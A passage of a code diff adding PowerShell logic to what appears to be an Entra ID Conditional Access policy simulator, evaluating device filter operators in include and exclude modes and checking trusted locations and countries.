('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString -and @($DeviceOperator) -match '-eq|-ne|-contains|notContains|-in|-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'contains' + elseif ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not contains' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + elseif (@($DeviceOperator) -match '-eq|-ne|-contains|notContains|-in|-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'contains' + elseif ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not contains' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + if (($DeviceValue | ForEach-Object { $ConditionsToSimulateString -like "*$_*" }) -and ($DeviceOperator -match '-startsWith|-notStartsWith|-endsWith|-notEndsWith')) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'starts with' + if ($DeviceOperator -eq '-startsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'starts with' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not starts with' + elseif ($DeviceOperator -eq '-notStartsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not starts with' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'ends with' + elseif ($DeviceOperator -eq '-endsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'ends with' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not ends with' + elseif ($DeviceOperator -eq '-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not ends with' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + elseif (@($DeviceOperator) -match '-startsWith|-notStartsWith|-endsWith|-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'starts with' + if ($DeviceOperator -eq '-startsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'starts with' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not starts with' + elseif ($DeviceOperator -eq '-notStartsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not starts with' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'ends with' + elseif ($DeviceOperator -eq '-endsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'ends with' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not ends with' + elseif ($DeviceOperator -eq '-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not ends with' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + } + } + + + #Property=DeviceFilter and Mode=exclude + #check if it is exclude + if ($Policy.Conditions.devices.deviceFilter.mode -eq 'exclude') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Device mode is exclude." } + if (@($DeviceProperty) -match 'deviceId|mdmAppId') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = exclude" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = false, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = true, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = false, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + } + } + elseif (@($DeviceProperty) -match 'deviceOwnership|isCompliant|profileType|trustType') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = exclude" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + } + elseif (@($DeviceProperty) -match 'physicalIds|systemLabels') { + Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = exclude" + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + } + #value in the rule does not equal the one given with parameters + else { + Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." + #check if the operator is 'equals' + if ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + } + elseif (@($DeviceProperty) -match 'displayName|enrollmentProfileName|manufacturer|model|operatingSystem|operatingSystemVersion|extensionAttribute1|extensionAttribute2|extensionAttribute3|extensionAttribute4|extensionAttribute5|extensionAttribute6|extensionAttribute7|extensionAttribute8|extensionAttribute9|extensionAttribute10|extensionAttribute11|extensionAttribute12|extensionAttribute13|extensionAttribute14|extensionAttribute15') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = exclude" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString -and @($DeviceOperator) -match '-eq|-ne|-contains|notContains|-in|-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'contains' + elseif ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not contains' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Includ $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + #value in the rule does not equal the one given with parameters + elseif (@($DeviceOperator) -match '-eq|-ne|-contains|notContains|-in|-notIn') { + Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'contains' + elseif ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not contains' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + if (($DeviceValue | ForEach-Object { $ConditionsToSimulateString -like "*$_*" }) -and ($DeviceOperator -match '-startsWith|-notStartsWith|-endsWith|-notEndsWith')) { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." + } + #check if the operator is 'starts with' + if ($DeviceOperator -eq '-startsWith') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'starts with' so policymatch = false, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not starts with' + elseif ($DeviceOperator -eq '-notStartsWith') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'not starts with' so policymatch = true, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'ends with' + elseif ($DeviceOperator -eq '-endsWith') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'ends with' so policymatch = false, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not ends with' + elseif ($DeviceOperator -eq '-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not ends with' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + #value in the rule does not equal the one given with parameters + elseif (@($DeviceOperator) -match '-startsWith|-notStartsWith|-endsWith|-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." } + #check if the operator is 'starts with' + if ($DeviceOperator -eq '-startsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'starts with' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not starts with' + elseif ($DeviceOperator -eq '-notStartsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not starts with' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'ends with' + elseif ($DeviceOperator -eq '-endsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'ends with' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not ends with' + elseif ($DeviceOperator -eq '-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not ends with' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + } + } + + if ($null -ne $entireRule) { + $PolicyMatchArray += $PolicyMatch + if ($singleSplitRule -eq $splitRuleArray[-1] -or $singleSplitRule -eq $entireRule) { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! The end of the for loop !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" + Write-Verbose -Verbose "Original entire rule: $entireRule" + Write-Verbose -Verbose "Original boolean values: $PolicyMatchArray" + } + + $entireRule = $entireRule ` + -replace '(device\.\w+)', 'ReplacePart1$1ReplacePart2' ` + -replace '(-(?!(and|or))\w+)', 'ReplacePart3$1ReplacePart4' ` + -replace '("(.*?)"|\[.*?\]|(?<=\s)(True|False)(?=\s|$))', 'ReplacePart5"$1$2"ReplacePart6' + # Write-Verbose -Verbose "Entire rule made easily readible for the code: $entireRule" + # Write-Verbose -Verbose "" + + $entireRule = $entireRule -replace 'ReplacePart1.*?ReplacePart6', 'expression' + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Parts are replaced by the word expression: $entireRule" } + + $splitRule = $entireRule -split 'expression' + # Write-Verbose -Verbose "split on expression: $splitRule" + + $finalArray = '' + # Iterate over the split string and add corresponding True/False values + for ($i = 0; $i -lt $splitRule.Length; $i++) { + $finalArray += $splitRule[$i] + if ($i -lt $PolicyMatchArray.Length) { + $finalArray += $PolicyMatchArray[$i] + } + } + # Put the proper boolean values + $finalArray = $finalArray -replace 'True', '$true' -replace 'False', '$false' + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Booleans get replaced by real boolean values: $finalArray" } + + # Use Invoke-Expression to evaluate the final logical expression + if (Invoke-Expression $finalArray) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "The final conditional evaluated to True." } + $PolicyMatch = $true + } + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "The final condition evaluated to False." } + $PolicyMatch = $false + } + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "----------------------------------------------------------------------------------------- End of a Conditional Access Policy -----------------------------------------------------------------------------------------" } + } + } + } + + #-------------------------------------------------------------------------------------------------------------------------------------------------- + + #ExcludeLocationsIPAddress + if ($ConditionsToSimulate.TrustedIPAddress) { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.ExcludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.isTrusted + } + } + + if ($TrustedLocation) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED (JSON mode assumes not excluded)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED' } + } + } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED' } + } + + + #ExcludeLocationsCountry + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.ExcludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.countriesAndRegions + } + } + + if ($TrustedLocation -contains $ConditionsToSimulate.Country) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($JSONFile -and $Policy.Conditions.Locations.ExcludeLocations) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: NOT APPLIED (JSON mode assumes excluded)' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: APPLIED' } + } + } + + + #IncludeLocationsIPAddress + $IncludeLocationsIPAddressMatch = $true + if ($Policy.Conditions.Locations.IncludeLocations -eq $null) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'AllTrusted' -and $ConditionsToSimulate.TrustedIPAddress) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + else { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.IncludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.isTrusted + } + } + + $TrustedLocation = $TrustedLocation | Where-Object { $_ -eq $true } + + if ($TrustedLocation -and $ConditionsToSimulate.TrustedIPAddress) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED (JSON mode assumes included)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: NOT APPLIED' } + $IncludeLocationsIPAddressMatch = $false + } + } + } + + + #IncludeLocationsCountry + $IncludeLocationsCountryMatch = $true + if ($Policy.Conditions.Locations.IncludeLocations -eq $null) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'AllTrusted') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + else { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.IncludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.countriesAndRegions + } + } + + if 